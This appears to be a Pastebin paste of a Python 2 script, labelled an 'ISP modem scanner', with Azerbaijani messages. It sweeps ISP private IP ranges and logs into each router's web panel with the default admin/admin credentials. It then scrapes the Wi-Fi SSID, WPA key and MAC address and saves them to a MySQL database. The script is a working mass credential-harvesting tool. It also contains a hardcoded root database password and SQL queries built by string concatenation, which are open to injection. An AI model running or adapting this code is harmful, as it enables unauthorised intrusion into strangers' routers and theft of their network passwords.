Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2
- import os
- import pyping
- import requests
- import MySQLdb
- database_name="wifi_az"
- table_name="modemler"
- def yuklu(ipv4):
- try:
- response = requests.head("http://"+ipv4, timeout=5)
- return True
- except:
- return False
- def ip_yoxla(ipv4):
- status = pyping.ping(ipv4,100,1,2)
- return status.ret_code
- def logyaz(ssid,kod,mac):
- if mac == "":
- mac="Mac Oxunmayib"
- db = MySQLdb.connect(host="localhost", user="root", passwd="19960812",db=database_name)
- cursor = db.cursor()
- cursor.execute("select ssid from "+table_name+" where mac = '"+mac+"';")
- ssi=""
- for row in cursor.fetchall():
- ssi=row[0]
- if ssi != ssid:
- cursor1 = db.cursor()
- cursor1.execute('insert into '+table_name+'(ssid,pass,mac) values("' + ssid + '","' + kod + '","' + mac + '");');
- db.commit()
- else:
- print "[*] Bele SSID var"
- def getSSidPassword(ip,parol):
- password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
- username = 'admin'
- password = parol
- top_level_url = "http://"+ip+"/"
- password_mgr.add_password(None, top_level_url, username, password)
- handler = urllib2.HTTPBasicAuthHandler(password_mgr)
- opener = urllib2.build_opener(handler)
- opener.addheaders = [('User-Agent', 'Mozilla/5.0')]
- opener.open('http://'+ip+'/navigation-basic.html')
- urllib2.install_opener(opener)
- response = urllib2.urlopen("http://"+ip+"/basic/home_wlan.htm")
- page = response.read()
- print "[*] Paneldedi ..."
- req = urllib2.Request('http://'+ip+'/basic/home_wlan.htm')
- response = urllib2.urlopen(req)
- the_page = response.read()
- print "[*] Index Axtarir.. "
- kod_id_bas='<INPUT TYPE="TEXT" NAME="PreSharedKey" SIZE="48" MAXLENGTH="64" VALUE="'
- kod_id_son='" onBlur="wpapskCheck()"><font color="#000000">'
- kod_id_1=0
- kod_id_2=0
- for i in range(0,len(the_page)):
- if the_page[i:i+len(kod_id_bas)] == kod_id_bas:
- kod_id_1=i+len(kod_id_bas)
- break
- for j in range(i,len(the_page)):
- if the_page[j:j+len(kod_id_son)] == kod_id_son:
- kod_id_2=j
- break
- kod=the_page[kod_id_1:kod_id_2]
- ssid_id_bas='<INPUT TYPE="TEXT" NAME="ESSID" SIZE="32" MAXLENGTH="32" VALUE="'
- ssid_id_son='"></td></tr><tr>'
- ssid_id_1=0
- ssid_id_2=0
- for j in range(0,len(the_page)):
- if the_page[j:j+len(ssid_id_bas)] == ssid_id_bas:
- ssid_id_1=j+len(ssid_id_bas)
- break
- for k in range(j,len(the_page)):
- if the_page[k:k+len(ssid_id_son)] == ssid_id_son:
- ssid_id_2=k
- break
- ssid=the_page[ssid_id_1:ssid_id_2]
- response = urllib2.urlopen("http://" + ip + "/navigation-status.html")
- page = response.read()
- req = urllib2.Request('http://' + ip + '/status/status_deviceinfo.htm')
- response = urllib2.urlopen(req)
- the_page = response.read()
- #print the_page
- mac_id_bas = '<font color="#000000">MAC Address</font></div></td><td class="tabdata"><div align=center>:</div></td><td class="tabdata">'
- mac_id_son = '</td></tr><tr>'
- mac_id_1 = 0
- mac_id_2 = 0
- # print the_page[kod_id_1:kod_id_2]
- for l in range(0, len(the_page)):
- if the_page[l:l + len(mac_id_bas)] == mac_id_bas:
- mac_id_1 = l + len(mac_id_bas)
- break
- for z in range(l, len(the_page)):
- if the_page[z:z + len(mac_id_son)] == mac_id_son:
- mac_id_2 = z
- break
- mac= the_page[mac_id_1+1:mac_id_2]
- print "\n[*] SSid: " + ssid
- print "[*] Parol: " + kod
- print "[*] MAC: "+mac.upper()+"\n"
- logyaz(ssid,kod,mac.upper())
- if __name__ == '__main__':
- os.system("color 2")
- print "[!] Modem ISP Scanner developed mr: m00nkrus"
- ip_v1=int(raw_input("[*] range: "))
- i=ip_v1
- while True:
- for i in range(ip_v1,ip_v1+30):
- for j in range(125,256):
- for k in range(0, 256):
- ip = "10." + str(i) + "." + str(j) + "." + str(k)
- print "[!] IP: " + ip
- if ip_yoxla(ip) == 0:
- if yuklu(ip) == True:
- try:
- getSSidPassword(ip,"admin")
- except urllib2.HTTPError:
- print "[*] Parol Ferqlidir ..."
- except:
- print "[*] Sehv ..."
- else:
- print "[*] Yukludur ..."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement